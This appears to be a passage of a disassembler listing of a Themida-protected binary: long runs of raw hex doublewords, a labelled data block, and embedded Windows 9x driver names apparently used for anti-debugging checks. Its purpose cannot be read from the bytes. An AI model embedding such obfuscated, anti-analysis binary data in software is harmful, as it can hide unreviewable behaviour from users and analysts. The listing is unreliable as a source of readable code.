		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 452C355h, 5B05118Fh,	12E538ECh, 16089FCh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 20C35141h, 3624B688h
		dd 2CBD5309h, 33CDB529h, 81E906ACh, 6A000002h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0E0F1C353h, 0E8DB8Bh, 5D000000h, 7C0BED81h, 9CBC06AFh
		dd 830012FFh, 0AC32F5BDh, 18740006h, 5A9858Bh, 0C606ACh
		dd 0D858B00h, 0C606AC1Ch, 95FF0000h, 6AC21D1h, 0F0B5FF60h
		dd 8D06AF64h, 0AF64F485h, 858D5006h, 6AF66ECh, 0F995FF50h
		dd 8306AC14h, 0F610CC4h, 198Bh,	13880F00h, 0E9000000h
		dd 0Eh,	28BFC079h, 1BF82FD8h, 8AD7B348h, 6A04FAh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0C7E6AC3h, 0AC5C97A4h, 6D9D89E0h, 0E906AC0Bh, 0Fh, 0F5CB3FF7h
		dd 36F20339h, 94970C1Fh, 60ABBE2Ah, 0B07BC881h,	85895CAAh
		dd 6AC2111h, 0ECB58D61h, 0F906AF66h, 2B79BD8Dh,	0BF6006ACh
		dd 5BE073FFh, 1A858D8Bh, 806106ACh, 840F003Eh, 7Bh, 238D9589h
		dd 6AA406ACh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 602CC351h, 4261CE81h, 13E90440h
		dd 0B1000000h, 7735C364h, 0E0E00893h, 58D2708h,	0DCADA1CFh
		dd 0E961454Ch, 0FFFFFFAFh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0FC35141h, 0CBC0A9Eh,	0E9F9F602h, 0Bh
		dd 0DC176B94h, 995610DEh, 2B93010Bh, 51006AC0h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 9529C3F9h
		dd 6AC2E79h, 53006AAAh,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0B0140F78h, 68F0Fh, 85290000h, 6AC12A5h
		dd 7B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 8F0F147Ah, 1, 0AD85C7F5h,	106AC12h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0A52CC356h, 4688D076h,	8D272A4Fh
		dd 0AC4E338Dh, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 861CF9EAh, 0E0235BF2h
		dd 0B5091635h, 6AC2F11h, 8BF9E1FFh, 550C245Ch, 0E8h, 0ED815D00h
		dd 6AF7E45h, 0B8838Bh, 85890000h, 6AF64F0h, 7C04858Dh
		dd 838906AFh, 0B8h, 0C3C0335Dh,	2810F60h, 53000000h, 0E961F55Eh
		dd 10h,	0C90DDAB9h, 91427842h, 0A34F42Ch, 84A1AEAh, 7870F60h
		dd 0F000000h, 184h, 858DFC00h, 6AF8069h, 11DD9529h, 609006ACh
		dd 8ADE8B66h, 505061F1h, 0E9525052h, 7,	3F409BAAh, 0FCD3C9Ah
		dd 0F525031h, 5A585A31h, 0F310F58h, 0A83h, 5E900h, 5EDB0000h
		dd 5A877E07h, 6A9058h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 8720FFC3h, 6660114Eh, 175FD781h
		dd 2581BD2Bh, 646106ACh, 35FFh,	0AE90000h, 93000000h
		dd 7F422676h, 0CDC5F905h, 25896444h, 0
		dd 0D8F0Fh, 66600000h, 673ED881h, 8B0Fh, 8D610000h, 0AF80F585h
		dd 9D016006h, 6AC1295h,	61D68B66h, 29016089h, 0AC10E995h
		dd 3985C606h, 4F06AC33h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0E6C35343h, 60FC9C9Bh, 2850Fh, 0C78B0000h
		dd 1CADBD8Bh, 606106ACh, 8185F680h, 2B9F02C7h, 0AB686111h
		dd 50DDFB01h, 5B506052h, 50310F61h, 0F616052h, 5A616031h
		dd 81585A58h, 727F2404h, 6A20CDh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 3CCB28C3h, 80C4820Ch
		dd 85891269h, 6AC0179h,	210DB5FFh, 89F806ACh, 0AC1EC19Dh
		dd 29858D06h, 6A06AF69h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 2AAEC356h, 72A08210h
		dd 0C890Fh, 840F0000h, 6, 2655B529h, 0D0FF06ACh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 3EC35040h, 0E585899Fh
		dd 0E906AC34h, 0A9h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0CBC35242h, 245C8BF9h, 0E8550Ch, 5D000000h
		dd 8073ED81h, 858B06AFh, 6AC1281h, 210D8589h, 858B06ACh
		dd 6AC3479h, 34318589h,	858B06ACh, 6AC307Dh, 6358589h
		dd 85C606ACh, 6AC3339h,	6E85C700h, 6AF6Ah, 8D000000h, 0AF80F585h
		dd 0B8838906h, 5D000000h, 6AC3C033h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A6B7C350h
		dd 0EE205067h, 8992DF56h, 0AC21D9B5h, 6840F06h,	89000000h
		dd 0AC2641B5h, 0FF74BC06h, 6A0012h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0AF3477C3h
		dd 1C898D89h, 64F506ACh, 58Fh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 5C71C1C3h
		dd 92B0EA6h, 0AC11BDB5h, 4C48306h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0C2C35646h,	4916695Ch, 2E90FD54h
		dd 34EB6138h, 4D534649h, 20205247h, 20444B56h, 20202020h
		dd 204D4D56h, 20202020h, 4E495756h, 20203233h, 4C445856h
		dd 20205244h, 3	dup(0)
		dd 7EFE9h, 8E900h, 5D830000h, 1B4893B7h, 6A60F7F8h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 38A4C356h, 0E96085EDh, 0Eh, 0D8D82BDEh, 136A223Fh, 4B1CEC7Fh
		dd 0C7614403h, 0AF81A085h, 6, 0BE900h, 0A6780000h, 8EDC67D2h
		dd 6628BD37h, 60C68B3Bh, 6159FC57h, 6AD8B70Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 3D54C357h, 4B77FDA5h, 744E005Ch, 12E9h, 3B008F00h, 0F1D7A00Dh
		dd 47D629C4h, 502C0D0Fh, 0E99BD0FFh, 0Ch, 9CBC7A3Bh, 0E802D62Ah
		dd 0B4735EEFh, 0F510E8C1h, 8C8C166h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 15C35343h, 2A986529h, 0B4FD50DAh
		dd 9E96Ch, 4EA0000h, 0C73D6E67h, 0E980EF2Ah, 13h, 0F5D4DFC8h
		dd 8F48B78Ch, 0C52CF095h, 0B3303502h, 899E5B5Fh, 0AF81A485h
		dd 66F86006h, 63DAC281h, 0CBC16661h, 55006A08h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0CEF88C28h
		dd 0C8FFF853h, 0FB83E896h, 7B850F40h, 0E9000000h, 10h
		dd 5C3058ECh, 86EDCB37h, 0ED4646A1h, 0AFC76813h, 8178BD8Dh
		dd 6A06AFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 850FAAC3h, 7, 18A0Fh, 0E9FC0000h,	1A0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 6AC35646h, 726728C4h
		dd 0CE943h, 0D1050000h,	0AA21A476h, 8CB62088h, 0FB83F3AEh
		dd 4D850F0Dh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0F97C357h, 18Ch, 0BD8DF500h
		dd 6AF8180h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	68C35141h, 19E96B28h, 0F8000001h, 0F01FB83h, 8D85h
		dd 18A0F00h, 0F8000000h, 8188BD8Dh, 6A06AFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 37B66DC3h
		dd 840F0DF5h, 19h, 14E9h, 590BB100h, 0F529C55Dh, 9CF791CFh
		dd 0CB4BE497h, 0D9D3DE31h, 0BEE9C7h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0FEA05EC3h
		dd 0F60B738h, 287h, 0E90AB200h,	0Dh, 3E69D463h,	424CA399h
		dd 61CAC71Dh, 0FB836179h, 4F850F2Ah, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 9B39C352h, 0D0E70C9h, 0BD8D1135h, 6AF8190h, 4AE9F5h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 90C492C3h, 0FB83BC0Fh, 6E850F27h,	0F000003h
		dd 0D8Eh, 8E900h, 85590000h, 1AA72804h,	0BD8D0B65h, 6AF8198h
		dd 0FA8B6660h, 61DFB70Fh, 81A8BD89h, 6A06AFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0D8E52C3h
		dd 0B23363B5h, 0E9E5847Eh, 0Ah,	0DB39DDBAh, 0EAFEC251h
		dd 8C66D6B6h, 24FCF9C8h, 0F0816003h, 57306EBCh,	138C0Fh
		dd 0EE90000h, 86000000h, 0F331C625h, 65D7C4E7h,	81CF65A6h
		dd 0C00A61B9h, 227850Fh, 5E90000h, 0F8000000h, 2A027882h
		dd 886FB58Dh, 0E96006AFh, 0Fh, 7D90628Ch, 98063022h, 0E3650215h
		dd 6089C4D1h, 0BE9h, 0AC862E00h, 0A09E05D2h, 9374723Eh
		dd 61F0BF0Fh, 5E961h, 49420000h, 8BAA16D8h, 0AF891F85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 4253D8FCh, 0FEE3DC2Ah, 0BE9h, 97B26200h
		dd 0F561AEAAh, 60A4C797h, 1810Fh, 92F50000h, 5E95250h
		dd 0FA000000h, 753DA402h, 8C0F310Fh, 6,	310F5250h, 585A585Ah
		dd 60525050h, 0B2B716B9h, 0F98B6662h, 50310F61h, 0F525052h
		dd 0F585A31h, 0F525031h, 5A585A31h, 92585A58h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 39C35747h, 0D6AB66D8h
		dd 8166F860h, 61E7B7D7h, 244C010Fh, 5E9FEh, 0F04D0000h
		dd 5A9F1974h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 15h,	0B8C35040h, 0D890F2Eh, 0E9000000h, 8, 0E9E2FE8Ah
		dd 0ECADF17Eh, 18820F60h, 0E8000000h, 12h, 6DE25A75h, 0C43E1A46h
		dd 0E6EA6BCh, 0B21A4263h, 615E357Fh, 0E924C283h, 0Eh, 0E26EA8Eh
		dd 8611FEABh, 600E2DDDh, 0F6042A7h, 58Bh, 3084BA00h, 0B9667312h
		dd 6661B30Eh, 6AFC7289h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 6203C353h, 0D168ED2Dh
		dd 8BBE8A03h, 0CE9h, 9D307F00h,	5924EF4Eh, 6DCDFC0h, 10CEC18Ch
		dd 728966F8h, 890F6002h, 4, 699B966h, 6E7406BFh, 4CD6119h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 70C35040h
		dd 0A8BF401Bh, 7F800A2Ah, 94E9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 203E5E60h
		dd 5C529BCCh, 0B810Fh, 6E90000h, 97000000h, 87A43C23h
		dd 1F858BC2h, 0E906AF89h, 0Dh, 665B07F1h, 0BFFE91A4h, 7768E386h
		dd 6FB58DCCh, 0F506AF88h, 4150858Dh, 6A06AFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 74D2D5C3h
		dd 840FD0FFh, 15h, 10E9h, 9AB08400h, 0A480A937h, 4BA2513Bh
		dd 0BAEC1D59h, 0A085893Eh, 6A06AF81h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0EFFBC357h
		dd 3A72DC8Bh, 0BF0F6096h, 771CB8D9h, 60615B2Ch,	0FE8h
		dd 85D13200h, 0F4BF3C4Ch, 0FBB422D9h, 6E1F889Fh, 0AE9h
		dd 0F5974300h, 944B4F6Dh, 5A0A6DBEh, 5F616056h,	60FC6161h
		dd 0A0858B61h, 0F06AF81h, 248Ah, 6E96000h, 6B000000h, 3D1FADA2h
		dd 12E9CEh, 1B300000h, 4651D700h, 150AC1F6h, 992D563Ch
		dd 0C611BE70h, 76B46061h, 0C3613CB0h, 1880Fh, 60FC0000h
		dd 10E9h, 0EEB2C300h, 249E2150h, 0B740E31Eh, 0D1FF579Ch
		dd 1FBD83E8h, 6AF89h, 4F850Fh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 31A36CC3h
		dd 0F8F9FD86h, 891F85C7h, 13F06AFh, 6A0001h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 1C0242C3h
		dd 9AF8C881h, 37E96Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 20025EC3h, 159E20A0h
		dd 6840F60h, 81000000h,	79608AE0h, 8B66607Dh, 61C18BFAh
		dd 20CD61h, 0B000000h, 8D3774C0h, 0BD8B0C70h, 6AF81A8h
		dd 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h, 6AF81A4h, 7F34583Bh
		dd 6BD38B15h, 0CA0304D2h, 8589018Bh, 6AF81A0h, 8B04EBh
		dd 8B61C5EBh, 0AF81A085h, 6ACF06h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0EAC6ECC3h, 5984722Eh
		dd 12E9E0h, 0AE6B0000h,	0C5AE8610h, 0A21538FCh,	68B674A7h
		dd 0FF735770h, 48E9C08Bh, 50000001h, 54000000h
		dd 58000000h, 5C000000h, 60000000h, 64000000h, 68000000h
		dd 6C000000h, 0B0000000h, 0B4000000h, 0B8000000h, 0BC000000h
		dd 0C0000000h, 0C4000000h, 0C8000000h, 0CC000000h, 0D0000000h
		dd 0D4000000h, 0D8000000h, 0DC000000h, 0E0000000h, 0E4000000h
		dd 0E8000000h, 0EC000000h, 38h dup(0)
		dd 0B3000000h, 0EB005809h, 8D00A150h, 0AF89A785h, 0B5858906h
		dd 8906AC2Ah, 0AF8AE785h, 5BFC5106h, 32D19D8Bh,	85C606ACh
		dd 6AC3339h, 0D7BF6054h, 0E9495B59h, 0Fh, 0A31C0469h, 0D7206F21h
		dd 0A60F1A71h, 612AA38Fh, 0B9B17B68h, 24048189h, 64A8B6AEh
		dd 22598529h, 0B5FF06ACh, 6AC210Dh, 68F28166h, 29858DD4h
		dd 8B06AF69h, 0AC00398Dh, 0FD0FF06h, 68Bh, 35BD8B00h, 8906AC1Ah
		dd 0AF8AEB85h, 15B58906h, 5606AC0Bh, 32059D8Bh,	0E95E06ACh
		dd 5Dh,	881EBB66h, 0E7B58B56h, 8906AF8Ah, 0E7858306h, 406AF8Ah
		dd 8D60C35Eh, 0AF89A7B5h, 560FEB06h, 36FF006Ah,	8AEB95FFh
		dd 835E06AFh, 3E8304C6h, 61EC7500h, 58D0FC3h, 52000000h
		dd 5B55F680h, 0AE8h, 0C5545100h, 53D47DBAh, 891A0F5Eh
		dd 0AC1ABD9Dh, 66565B06h, 0A8E1EA81h, 92858D5Bh, 6006AF8Bh
		dd 9E35DBBAh, 8589615Dh, 6AC0A75h, 14E9h, 3EC8CC00h, 1Dh
		dd 3 dup(0)
		dd 54AE900h, 0B9540000h, 0DF0CBC7Dh, 0B856E627h, 0DD0DBD7Ch
		dd 0B950E021h, 38C1BC7Dh, 8948846Bh, 0D617CF39h, 93528A66h
		dd 0D312CA23h, 2478CB9Ah, 69E8E3AAh, 0FBFC24Eh,	5CEA2AE2h
		dd 18B272AAh, 5E8FBF36h, 0B49A52BAh, 9F3BD767h,	5595BB73h
		dd 2B476FFh, 1DBD2FEBh,	0D81836EEh, 6EA64072h, 0EB2A04AEh
		dd 8A66B25Bh, 16389252h, 538760D6h, 0EC2C02BAh,	0B979B55Ah
		dd 9ABFAB8Bh, 0C474B571h, 9D2DEC28h, 2275B571h,	3B912273h
		dd 80EF9335h, 35479DACh, 0B894EF93h, 2FE70131h,	0FE6A48EFh
		dd 0BE7FB75Bh, 6127DD0Eh, 0F785B83h, 23965678h,	0EF9296EAh
		dd 0C921F912h, 55E3230Dh, 528A60B8h, 0D6163892h, 7E375371h
		dd 5AB303D0h, 5D092BA2h, 0BBD00581h, 670FC0h, 5E830000h
		dd 9F4877ADh, 0E929E504h, 78C76B43h, 9025E5CBh,	0EF932B3Ah
		dd 9A47ED3Eh, 0DF17F6B3h, 200EA0F7h, 5BDF8BA9h,	0B4E85B0Ah
		dd 0F9EF9297h, 97B0E4D5h, 0D1FDEF92h, 0D155D158h, 15FC0BBh
		dd 0D3000000h, 0B575B15Eh, 0F636EE03h, 0AC6CA840h, 0AF1C4D9Eh
		dd 0EF933579h, 0C7D00CE3h, 244062EBh, 0A1609C71h, 0FD3CF811h
		dd 77AF5EF1h, 30EC01B7h, 95C495F0h, 9335F226h, 21133FEFh
		dd 0B99B12CAh, 0A56188CDh, 0FB33D464h, 0A75F8D3Bh, 36F4B67h
		dd 0BB4973E7h, 0AA99C0h, 19480000h, 7FA13DB3h, 1524E094h
		dd 0EF93C3BFh, 25A9200Ch, 398AAF5Eh, 0EF9335E3h, 0EA2A0428h
		dd 0A576AE5Ch, 66F4100Fh, 85ADA6F1h, 4E764C74h,	599B121Eh
		dd 7A1F4B6Bh, 6CA84793h, 87D80CBFh, 925EF92h, 16A5F427h
		dd 0EF9287C2h, 0FC11230Fh, 3A8A49C0h, 6DDB1BD3h, 0AD81417Dh
		dd 859DD89h, 928765BBh,	0F86AAEFh, 0BBE71286h, 6D36C0h
		dd 57E70000h, 0DC3083B6h, 21EF9291h, 49E3230Dh,	0FBF4CC0h
		dd 4BE121DDh, 0E31BF2C2h, 0A1799523h, 7EBE904Ch, 0BBDE8A56h
		dd 82D66554h, 0CFEF9335h, 3577AD1Eh, 0E8C4EF93h, 2529E8C6h
		dd 8569B15Eh, 0F0238949h, 93360D43h, 507E52EFh,	2596C790h
		dd 0EF9335EFh, 23DB0C3Ch, 0EE6749E3h, 933584DDh, 345070EFh
		dd 0BB4F5CD8h, 154C0h, 5ED80000h, 17A774B0h, 54FE3EF6h
		dd 40A91FDDh, 0A5FD5784h, 0CAD92315h, 9AE6CE5h,	0F41A3F2Bh
		dd 0CE0EC624h, 74882E62h, 0E2059A0h, 3816CE3Ch,	2E589CF9h
		dd 0F82B05C1h, 0FF537E52h, 9253184Ch, 614965EFh, 7EF7F9A7h
		dd 0BA2D1CAFh, 9EB2E52Eh, 0C7FFE85Eh, 8844A414h, 9972C201h
		dd 0F2289D5Dh, 1AF63EE0h, 42F434F0h, 9EB676AEh,	0C36F2642h
		dd 0BD2E731Fh, 9770C001h, 62C89F5Fh, 15DC847h, 0D22B970Ch
		dd 0BAD8F679h, 0BC2D1D94h, 8A63D300h, 7C19DB52h, 0FEEFB2DEh
		dd 8A0E07C6h, 0BE39EF27h, 114h,	254F8B32h, 225C45F6h, 0CDE1E52Fh
		dd 8652BB0Dh, 0C66CAC68h, 709929E8h, 3AD767B4h,	61E84282h
		dd 38F415A3h, 64A04EF8h, 0C1FD12A4h, 99F52901h,	0EF9B39D8h
		dd 1A1FE14Bh, 0E100A199h, 77AF5868h, 3EF614A4h,	0F97D74B7h
		dd 0F339E8DFh, 5Bh, 0B415BF7Fh,	1B74F68Dh, 0DB1CF970h
		dd 0AFC862B1h, 2BE13993h, 0AB968E1h, 6F927AF6h,	87DD6E3Fh
		dd 0D46F927Ah, 486471F8h, 7AE73D88h, 0A9896F92h, 0D9D379BDh
		dd 0ED46A3A5h, 406EA64Ah, 81EB2CC9h, 0B6CBE152h, 0BE14EF92h
		dd 7D9141C1h, 30926941h, 0A68A9F16h, 6A2D67h, 8B270000h
		dd 1BD3394Fh, 407C6DDBh, 5E39466Eh, 0FCB2FC43h,	0B7B201D2h
		dd 80E52EE5h, 0DF1FD730h, 72AA4775h, 2C2EEFBh, 5A9B53B4h
		dd 5C501EAh, 3F1057B0h,	0A7C31FF6h, 1CDD19F2h, 4D7BD79h
		dd 0CF964EB7h, 7FBF93EBh, 24E420C9h, 45C5A183h,	45AFED81h
		dd 0D7F4D7F9h, 30992AF9h, 7DF27F33h, 0CC288251h, 9B54DAF3h
		dd 565A9910h, 0F6254F8Bh, 23B9FC45h, 0AD6D41E5h, 0C426F21Bh
		dd 57E72608h, 0BBE7EB6h, 0F8AFF976h, 0CB8EFADAh, 7A2BEA22h
		dd 1A44982Bh, 0A58911D4h, 1A8FC576h, 0F0DC11D4h, 64A04979h
		dd 2CE807B7h, 79B55AECh, 0B43D13B9h, 0EC28C076h, 0BDA98B2Ch
		dd 64B76F98h, 1A528635h, 0B39F11D4h, 55503F9Bh,	0BC352B65h
		dd 0E61ECF7Fh, 106A26h,	8D3D0000h, 9A52BA5Eh, 2DC274B4h
		dd 0DA56DFF1h, 0B35E7200h, 0DC0DBB7Bh, 0BA56E020h, 9274C202h
		dd 0BD2C9A5Ah, 9877C101h, 0C22A9C5Ch, 8E7CCA0Ah, 0CB209656h
		dd 57DDD313h, 0BB53E789h, 130C3B4Fh, 8104EBC1h,	4600D4CBh
		dd 50F3811Dh, 817B507Fh, 26BCA0EBh, 5BDF0166h, 8704EF83h
		dd 685C243Ch, 3D1Eh, 68241489h,	758h, 53240489h, 226377BBh
		dd 0F7D3F752h, 81DBF7DBh, 2E2C70E3h, 0FFC38155h, 81FFFFFFh
		dd 5C7FF5EBh, 5BDA89FEh, 24048B54h, 5204C483h, 190FBD55h
		dd 6C016E6Ah, 8F5D0424h, 68810840h, 6A190F08h, 24048B6Eh
		dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 5124148Bh, 0C181E189h
		dd 4, 4C181h, 0C870000h, 0D5E95C24h, 7CFFFCECh,	8A29703Ah
		dd 0B1B891Ch, 0AF90A7B8h, 0FFC50306h, 27516E0h,	0A42B903Ah
		dd 22E80153h, 0F636AA1Fh, 5B1FE85Eh, 6636C72Fh,	22012F29h
		dd 0DCF7910Ch, 81B5766h, 0C1449A66h, 0C0A36429h, 9FD73231h
		dd 0DA42B32h, 8DC61C6Ah, 0D855580Fh, 0BA01400Bh, 0D02BD258h
		dd 471E7133h, 2D638F2Dh, 109E96Ah, 0DDBF0000h, 5C9735D2h
		dd 88838A05h, 0A1D76A1h, 8FDD7A0Eh, 6D373353h, 3D557D2Fh
		dd 0D57F2D77h, 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh
		dd 75D55FEDh, 6D373353h, 3D557D2Fh, 0D57F2D77h,	577DD77Dh
		dd 0DF6D171Eh, 20602075h, 0E0202060h, 0AC2060E0h, 0A9F77B68h
		dd 0D020A1E4h, 0EDA693B2h, 91B99DB7h, 20ACA3F2h, 20602060h
		dd 0E0202060h, 752060E0h, 0D0A3353h, 20557D2Fh,	20602060h
		dd 2BA72860h, 0C950F036h, 0EFB6F360h, 0E0F796A1h, 0B8E3A7B4h
		dd 0B3F47192h, 0F76DB9E9h, 2 dup(20602060h), 0DF6DF720h
		dd 0D773351Ah, 0F73D577Dh, 75D55FEDh, 6D373353h, 3D557D2Fh
		dd 0D57F2D77h, 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh
		dd 75D55FEDh, 6D373353h, 1E357D2Fh, 7000E0Ah, 0A3D25D34h
		dd 1E59A0h, 8 dup(0)
		dd 0E9000000h, 0C3Eh, 0AF953868h, 0EB5AE906h, 5468FFFCh
		dd 0E906AF96h, 0FFFCEB50h, 0AF972268h, 0EB46E906h, 68FFFCh
		dd 0E906AF98h, 0FFFCEB3Ch, 0AF987F68h, 0EB32E906h, 1C68FFFCh
		dd 0E906AF99h, 0FFFCEB28h, 0AF9A8268h, 0EB1EE906h, 7A68FFFCh
		dd 0E906AF9Bh, 0FFFCEB14h, 0AF9C3068h, 0EB0AE906h, 0CF68FFFCh
		dd 0E906AF9Ch, 0FFFCEB00h, 0AF9D9C68h, 0EAF6E906h, 9974FFFCh
		dd 0BF2C9C5Dh, 9876C607h, 0BD2D9D5Ch, 9970C001h, 18E19C5Dh
		dd 0A968A44Bh, 0F637EF19h, 0B372AA46h, 0F332EA03h, 458EBBAh
		dd 49E8E3A3h, 0AD5EE26Eh, 40F3A271h, 0EF93360Ch, 9F5F9774h
		dd 870E2235h, 0DD19F345h, 4CFC2F1Dh, 0EA464A0h,	94C9A587h
		dd 1F7ABB73h, 0D162B1DBh, 0E52F28A0h, 0F74181ADh, 0F12DC216h
		dd 30F02CC3h, 3667B49Ah, 3F524F85h, 39B09CF6h, 65A14AFAh
		dd 2FE706B6h, 78D164A6h, 33F63F52h, 47A0F591h, 2B349D89h
		dd 0A688D708h
dword_581368	dd 0E925C575h, 0C90A8329h, 94549079h, 0DE0DC922h, 8D07BB74h
					; DATA XREF: Themida_:005568D5o
		dd 162428A8h, 72B039F5h, 2AEA22C4h, 72B26A9Ch, 7D429625h
		dd 0A38FF63Fh, 0CD84E042h, 0BFE28E2Ch, 34DB6B4Eh, 7D93C9F8h
		dd 11FDF63Fh, 1BF2C2D5h, 30E3CDE3h, 803CD161h, 85DBEA40h
		dd 0CAF63F7Dh, 89FE0FE0h, 0C5EB0BDBh, 2868F4Ch,	639E8D2h
		dd 528h, 64D786D7h, 0F63FA530h,	2C60517Dh, 71F63FA5h, 5E58D45Dh
		dd 7B171ADh, 8AEF2EE6h,	18D4384Eh, 8F5C72D8h, 2F28693Ch
		dd 499AB6E5h, 18D814F9h, 4CF93BB2h, 0F63F5514h,	4AA6C2E6h
		dd 39E8AACEh, 4DC2h, 4F8B4E00h,	0B70EE523h, 4961F465h
		dd 7BF041F2h, 0C6153B82h, 1F75C697h, 6CEF9324h,	8BFAC940h
		dd 0D4E52F29h, 88488464h, 92BEAB22h, 2DADE752h,	9A4DF63Fh
		dd 0CE0EC62Ah, 0D8804C64h, 0DAD0C6D6h, 0F9157153h, 39EF2D7Dh
		dd 0D077h, 0FBFFB00h, 93A32AE2h, 0D582427Ah, 2663907Fh
		dd 0AA23759Fh, 68BB739Ah, 30568A39h, 0EC5FEF93h, 0EF9330B8h
		dd 143E2905h, 31AC4BDAh, 0A62F015Fh, 0FD39D264h, 0AA628B3Dh
		dd 618A3A6Bh, 0E0AFD6A3h, 76585158h, 0A6951CB6h, 0EF924E5Fh
		dd 65A46089h, 38F834D5h, 26F59F5Bh, 31B87496h, 5F8253E0h
		dd 0E3CFE52Eh, 0E9834722h, 0FDF3893Ah, 0D4F8EBCDh, 9C58B707h
		dd 0C6FEED5Dh, 6646422Eh, 0A467A68h, 917h, 92538B66h, 0D011CD22h
		dd 93528A60h, 0D213CB23h, 92538B62h, 0B25916EFh, 0E10BBB7Ah
		dd 0B854E425h, 0DC0DBD7Ch, 0F9A8E120h, 0E3A1164Ah, 0F07C5BE8h
		dd 24E00FBFh, 0F7C74EE4h, 4C1DDC18h, 357AAE1Dh,	0EBC7EF93h
		dd 73FA32D9h, 0B372AA43h, 254F8BBFh, 3BF445F6h,	5579E52Fh
		dd 3FE82095h, 0AE8AF63Fh, 1FCE7EC2h, 63E76EE7h,	3739E8B9h
		dd 0E4B8FC9Dh, 4BE7CF07h, 73AB43BBh, 0E35BD45Dh, 8A000000h
		dd 0D414D03Ah, 0EADC3083h, 0D21F63Fh, 5E26AA23h, 7B171ADh
		dd 8C61D1E8h, 362B6150h, 5C70EF93h, 0BE07B272h,	26EF9331h
		dd 99C809C5h, 0C808C429h, 32DBEB62h, 0CB7829FAh, 0EF933995h
		dd 0BD7FF6DAh, 0A3701ADEh, 6C6FE13h, 47F425ACh,	0E52F4296h
		dd 6736F7DBh, 0BBDC2DCDh, 63EA28EAh, 0D5344286h, 0FC72B19h
		dd 9A41F221h, 0A7EBCF1Fh, 0ABAF378Dh, 6BA78F47h, 0C2113FB1h
		dd 745C9872h, 0B6A02816h, 0DE0F86B0h, 94477F6Eh, 850CC824h
		dd 0DF17F646h, 673A3F37h, 69251968h, 7FBh, 0EE2FE70Ah
		dd 0B475B15Eh, 0EF2EE604h, 0B677AF5Fh, 0EE2FE706h, 2EDD6A93h
		dd 658737F6h, 34D868A9h, 608939F8h, 7D2C65A4h, 0E39F9ACEh
		dd 4CC0E7E8h, 398AAF5Eh, 0EF9335E3h, 3BF31828h,	517F51FBh
		dd 0FC72090h, 0AD5EC2CEh, 56E6B171h, 68C202BAh,	10A24640h
		dd 1887C08h, 0DD1CD831h, 128D268Ch, 62EE605h, 0A28A68F6h
